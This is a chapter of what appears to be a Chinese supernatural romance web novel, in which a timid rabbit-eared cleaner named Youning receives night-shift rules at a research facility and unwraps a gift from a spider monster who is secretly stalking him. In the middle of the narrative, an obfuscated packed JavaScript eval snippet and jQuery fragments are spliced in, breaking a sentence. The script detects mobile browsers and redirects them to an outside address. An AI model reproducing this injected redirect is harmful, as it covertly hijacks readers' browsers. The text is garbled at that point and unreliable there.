“多吗?”组长又露出那种微妙而神秘的表情。
他看了一眼宥宁,从鼻间哼出一声意味不明的讥笑。
没有人搭理宥宁的问题,组长坐在长凳上脱下鞋子敲了敲鞋底粘的污渍,其他清洁工也自顾自地抱怨着工作太累。
他们习以为常,对不对劲的危险甚至称得上麻木,三三两两地聚在一起借着这难得的空闲抽烟聊天。
宥宁和他们混不到一起去,他茫然地环顾四周,最终只能一点一点地低下头,像是整理自己乱糟糟的毛毛一样整理自己的衣物。
他将裤腿上的褶皱捋了又捋,毛茸茸的发尾轻轻扫过他的后颈,他赫然打了一个冷颤,这种莫名的不安就像是窥见杯中隐隐约约的影子,让人无法分辨那究竟是蛇影还是长弓。
如果不去探究,杯中的影子或许永远只是背后的弓弦。
宥宁一时间茫然无措,他呆了又呆,对危险的恐惧与趋利避害的本能令他又像鸵鸟一样将那些想法埋进了沙子里。
“来几个人。”
组长在背后招呼人帮忙,宥宁惊慌地颤了颤,下意识松开手,没顾上裤腿上的褶皱,连忙过去帮忙。
危险已经过去,警诫灯转为安全的绿色,组长也带着几个人一下一下拧着阀门,把升起来的防护墙降下去。
沉重的防护门在沉下去的一瞬间似乎连地面都震了震,宥宁被震得摇晃,眼睛慢吞吞地盯着那道沉下去的缝隙。
下面……好像是空的?
宥宁一时困惑,柔软的腮边圆润一瞬。
组长拍了拍手,宥宁藏起来的兔耳朵似乎也跟着前后摆了摆,一起扭过头看过去。
“好了,都出去工作吧。”组长招呼人回去继续工作,又叫住了宥宁:“宥宁,明天换班你知道吗?”
“换班?”宥宁扭过头,茫然地看着对方。
研究所的清洁工作是两班倒,最早一班是早上六点到下午两点,晚班是下午两点半到晚上十点半。
只是地下三区的工作区域面积和二区相同,人却少了近一半多,宥宁就算留下来无偿加班也不一定能遇到同事。
但夜班不允许加班。
“不管你晚班有多少工作没有做完,十一点之前必须离开研究所,记住你可以交谈的同事只有穿着蓝衣服的清洁工,如果遇到穿黑衣服的非安保人员,不要和他们任何人说话,他们主动也不行……”
组长交代完注意事项,又从传真机中打印出一张夜班注意事项表塞给宥宁。
“注意上面的规则。”
宥宁听得懵懵懂懂,他攥着夜班注意事项,忍不住小碎步巴巴跟着组长:“那、那要是没遵守规则……?”
组长停下脚步,意味深长地睨了一眼宥宁,宥宁心中一慌,将后面的话吞了进去,仰着小脸眼巴巴地看着对方。
“工作还是命,你会选择的。”
组长将宥宁手里被汗濡湿的注意事项抽走,叠了叠,意味深长地塞进宥宁胸前的口袋里,重重拍了拍他的肩膀。
那一瞬间,组长的脸埋在逆光中变得模糊不清,重重落下的手掌像是几座大山,将宥宁的肩膀一下一下压垮。
宥宁眨了眨眼,眼底赫然氤氲出几分湿意,他目送组长离开,忍不住揉了揉肩膀,小小声抱怨:“好痛啊……”
好奇怪的地方……
他真的能在一个月后平安离开吗?
“宥宁,我们明天倒班,可以一觉睡到中午了哦耶~”
季珍珠欢欢喜喜的开朗笑声比他先钻进宿舍,他在门口和几个同事告别,一股脑钻进宿舍,把自己摔在床上。
“哎呦喂,可累死我了——”
他把脸埋进被子里,半天听不到宥宁的声音,疑惑地抬起头:“嗯?你在干嘛?”
季珍珠把头探过去,宥宁正坐在书桌前,手指认认真真地捋开一张废弃的清理表,打印纸的背面朝上,原本空白的一面却用清晰的笔触画着一张人脸。
很……
季珍珠想要夸赞这张画,目光死死盯在上面,脑袋却一片空白。
一向话多得他像是被扼住脖颈的鸭子,吐不出字言片语,他甚至记不清上面到底画了什么。
他没了声音,坐在书桌前的宥宁却被吓到般,一下子扑在画上,露在外面的耳朵瞬间漫上涩意。
“唔嗯……”
宥宁喉咙里发出支吾的声音,哼哼唧唧地说不出一句话,反而把整张脸染成绯色,小小声说:“不、不好看,我随便画的……”
他羞于让珍珠看到他的画,又忍不住低下头,像是只无所适从的兔兔将自己敏.感得肚皮藏起来。
“才不是!”季珍珠回过神,大大咧咧地一巴掌拍在宥宁的背上,宥宁差点被拍在桌子上,他才终于捡回话唠的嘴:“我看就很好看!”
“宥宁你画得这么好看,都可以去当漫画家了,就那种漫画,你看过吗?我初中的时候最喜欢看的……”
季珍珠连比画带描述,没怎么读过书的他有很多话想说,抓耳挠腮说不出来,只好一屁股坐在床上,一拍脑门说:“我工作的一区有研究员休息室,里面就有图画书,哪天我带出来给你看看。”
他想一出是一出,把宥宁都逗笑了,宥宁弯了弯唇,提醒他:“还是不要这么做了。”
季珍珠摆摆手,并不在意,反而说起来之前从主管房间出来的清洁工。
之前他怎么问对方,对方都不搭话,但这可难不倒季珍珠,他得意地扬起头,嘚瑟地小声和宥宁说:“你猜怎么着?我有个朋友和那人一个宿舍的!”
“那家伙是在地下二区工作,那里好像出了什么事?哎,你说能出什么事,吵着闹着要走,主管好一顿安抚还加了工资……主管给你加工资了吗宥宁?”
加工资!
宥宁漂亮的粉眸一下子睁大了,他不可置信地重复:“加工资!”
主管没有给他加……
宥宁一点一点攥紧拳头,忍不住“呜”了一声,小小声抽气。
原来、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305349|198703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原来可以加工资吗?
老实兔兔小幅度地摇晃脑袋,亮着光的眼睛一瞬暗淡下来,有气无力地垂下脑袋。
季珍珠顿时生气:“主管怎么这样!”
“诶诶!你别生气!”季珍珠看起来要跳起来把主管打一顿,宥宁顿时不敢失落下去了,他抱着季珍珠的胳膊,重重摇了摇脑袋:“没关系的,你别找主管麻烦。”
“你在一区挺好的,他要是给你调下去……”
就像他一样。
宥宁不希望自己交到的第一个朋友因为自己被找麻烦。
季珍珠年纪不大,他在原地转了一圈,也不知道怎么办了,挠了挠头“哎呀”一声,“我去外面给你打听打听,要是就这一个人加工资那就算了,说不定人家真遇到什么大事了呢。”
于是刚进屋的季珍珠屁股都没坐热,又风一样跑走了。
真好。宥宁羡慕的看了到哪里都吃得开的季珍珠一眼,又忍不住看了看桌上的画。
英俊帅气的蜘蛛先生正在画上朝他微笑。
宥宁羞得脚趾蜷曲,幻想别人对自己友好微笑什么的……
他也好想要很要好的朋友。
手指摸索到口袋里的硬物,宥宁从口袋里掏出一件拆到一半的蛛丝礼盒。
雪白的蛛丝编制成繁复漂亮的蕾丝花边让人一看就惊叹,宥宁想尽量把那些花边留下,于是拆了很久。
他想着蜘蛛先生,好奇对方会送自己什么。
会是……小虫子吗?
网络上都是这么说的,猫猫报恩会给人类叼老鼠什么的。
一圈一圈的蕾丝花边拆开,宥宁突然升腾起一种紧张的感觉,他咬紧嘴巴,认真焦灼的情绪中混杂着说不清道不明的期待。
会是什么呢?
最后一层织网拆开,宥宁瞪圆了眼睛,浅粉色的眼睛里清晰地倒映出两半滚圆。
……两个鸡蛋?
宥宁忍不住噗嗤笑了出来,他小声偷笑,漂亮的小梨涡在唇角若隐若现。
他眉眼舒展,总是无害垂落的眉眼笑意弯弯,像是微绽的晨露,融着暖烘烘的朝阳显得格外动人。
宥宁捻起鸡蛋,学着蜘蛛先生将鸡蛋咬下,他嘴巴小,只能小口小口的吃,吃得唇间水光盈盈,透露出几分满足。
“谢谢你蜘蛛先生。”
不过这就不需要了。
“一、二、三……”
昏暗的宿舍楼外,步甲碰撞的“哒哒”沿着纤细的蛛丝埋进无边的黑暗中,巨大的阴影似罗网,将整个的宿舍楼都似乎孤立在黑暗之中。
猩红的瞳眸紧紧盯着亮起来的灯光,怪物一改在宥宁面前的无害伪装,语气没有起伏地数着楼层,冷漠的目光极具压迫性,从下至上,一层一层。
突然祂目光一顿,似蛇般的舌尖顶了顶腮肉,紧紧眯起眼睛,皮下狰狞的眼睛疯狂转动着,鼓噪着极为急迫的愉悦。
“你在这里。”
蜘蛛怪物的语气赫然变了:“宥宁。”